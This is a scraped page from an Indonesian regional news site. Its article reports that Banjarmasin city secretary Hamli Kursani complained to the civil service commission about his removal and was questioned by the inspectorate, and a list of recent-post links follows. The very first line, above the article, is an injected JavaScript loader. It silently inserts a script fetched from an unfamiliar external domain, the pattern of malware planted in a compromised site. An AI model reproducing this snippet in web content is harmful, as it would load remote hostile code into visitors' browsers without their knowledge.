(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Buntut Pencopotan Hamli, KASN Bakal Minta Klarifikasi Walikota Ibnu Sina


BANJARMASIN, Kisruh pencopotan Sekdako Banjarmasin Hamli Kursani terus menggelinding hingga ke Jakarta. Tak hanya melaporkan ke Ombudsman Kalsel ikhwal SK pencopotan nomor bernomor 880/002-KUM.DIS/BKD,DIKLAT/2018 tertanggal 10 April 2018 yang ditandatangani Walikora Ibnu Sina, Hamli ternyata menepati janjinya untuk melaporkan kasus tersebut ke Komisi Aparatur Sipil Negara (KASN) di Jakarta, Selasa (17/4).

Kedatangan Hamli diterima oleh Asisten Komisioner KASN Bidang Pengaduan dan Penyelidikan, Sumardi. Di tempat tersebut, dia mengadukan pembebasan sementara dirinya sebagai Sekdako Banjarmasin dengan dalih melakukan indisipliner. “Saya menyampaikan bukti SK Walikota tanggal 10 April 2018 dan juga hasil sementara dari pemeriksaan inspektorat Banjarmasin. Apakah penerbitan SK sudah sesuai dengan UU Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara, serta PP Nomor 53 Tahun 2010 tentang Disiplin PNS,” jelasnya.

Terkait pelaporan itu, kata Hamli, pihak KASN berjanji akan meminta klarifikasi kepada Walikota Ibnu Sina terkait keputusannya itu. Sehingga informasi dapat diambil dari kedua pihak untuk mendudukkan persoalan secara jernih.

Sebelumnya, Hamli mengatakan bingung apa alasan pencopotan terhadap dirinya.

“Sebab saya juga merupakan Ketua Majelis Pertimbangan Penjatuhan Hukuman Disiplin ASN Pemkot Banjarmasin. Jika ada pelapor dan alat bukti pelanggaran, seharusnya bisa dikonfirmasi kepada saya,” ujarnya.

Terkait dugaan pelanggaran indisipliner yang dituduhkan kepadanya hingga berimbas pada munculnya SK pencopotan, Hamli juga mengaku adanya kejanggalan. Mengingat pemberian sanksi terhadap ASN harus melalui proses pemeriksaan terlebih dahulu. Dimana hasil pemeriksaan ini selanjutnya diserahkan ke Majelis Pertimbangan Penjatuhan Disiplin. “Nah, pelanggaran disiplin itu sendiri ada kategori ringan, sedang, dan berat. Tapi itu pun harus diawali dengan teguran dan bertahap. Itu yang saya pahami,” jelasnya.

Hamli merasa keputusan pembebastugasan sementara dirinya dengan alasan memperlancar pemeriksaan mengada-ada. Kalaupun ia tetap di Sekdako, tidak akan memberatkan pemeriksaan. Hamli siap memenuhi panggilan kapanpun diperiksa. “Kalau seperti ini sama saja pencemaran nama baik,” tegasnya.

Terkait pemeriksaan inspektorat Banjarmasin atas dirinya, Hamli juga mengatakan dari penjelasan KASN, mestinya yang berhak memeriksa dirinya adalah Inspektorat Kalsel.

Kemarin, Hamli menjalani pemeriksaan dari Inspektorat Banjarmasin, Senin (16/4). Selama lebih tiga jam, mulai pukul 09.30-13.00 Wita, Hamli disodori sembilan pertanyaan. Selama ini pihak Pemko Banjarmasin enggan mengungkap indisipliner seperti apa yang menjadi alasan pencopotan Hamli. Mengingat, untuk memutuskan memberhentikan sementara seorang Sekdako sebagai pejabat tertinggi aparatur sipil negara (ASN) di Kota Banjarmasin, tentunya Walikota Ibnu Sina memiliki alasan yang sangat kuat. Kecil kemungkinan, jika indisipliner yang dimaksud sekadar urusan adminitrasi pemerintahan atau lainnya.

Usai pemeriksaan selama tiga jam tersebut, Hamli mengatakan bahwa salah satu dari sembilan pertanyaan yang disampaikan penyidik adalah terkait statemen tersebut. “Ya, ada beberapa ucapan yang dikonfirmasi penyidik. Seperti ucapan ‘amun ada betangkapan (apabila ada penangkapan), kita lihat siapa yang ditangkap lebih dulu’, dan juga ‘bila aku diampihi aku bacalon di Golkar jadi caleg kemudian becalon jua jadi walikota berpasangan dengan anak Pak Muhidin dan kena aku lawani Pak Wali tu (Jika saya diberhentikan, saya akan maju menjadi caleg dari Partai Golkar kemudian juga akan mencalonkan menjadi Walikota berpasangan dengan anak Pak Muhidin—mantan Walikota sebelumnya, red. Dan nanti aku akan melawan Pak Wali itu). Perkataan ini yang dikonfirmasi penyidik, apakah benar itu ucapan saya atau bukan,” terang Hamli.

Hamli memang enggan merinci pertanyaan yang disampaikan inspektorat. Karena ada hal yang bersifat rahasia dan tidak bisa diungkap ke publik. “Jawaban dari pertanyaan lebih bersifat benar atau salah, iya atau tidak. Hal ini agar tidak membocorkan dokumen, jadi untuk jawaban tidak bisa saya ekspos,” katanya.(ammar)

Reporter : Ammar
Editor :Chell

Desy Arfianty

Recent Posts

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

38 menit ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

1 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

2 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

3 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

3 jam ago

DPRD Banjarbaru Target Tiga Raperda Inisiatif Selesai Dalam Tiga Bulan

KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More

5 jam ago

This website uses cookies.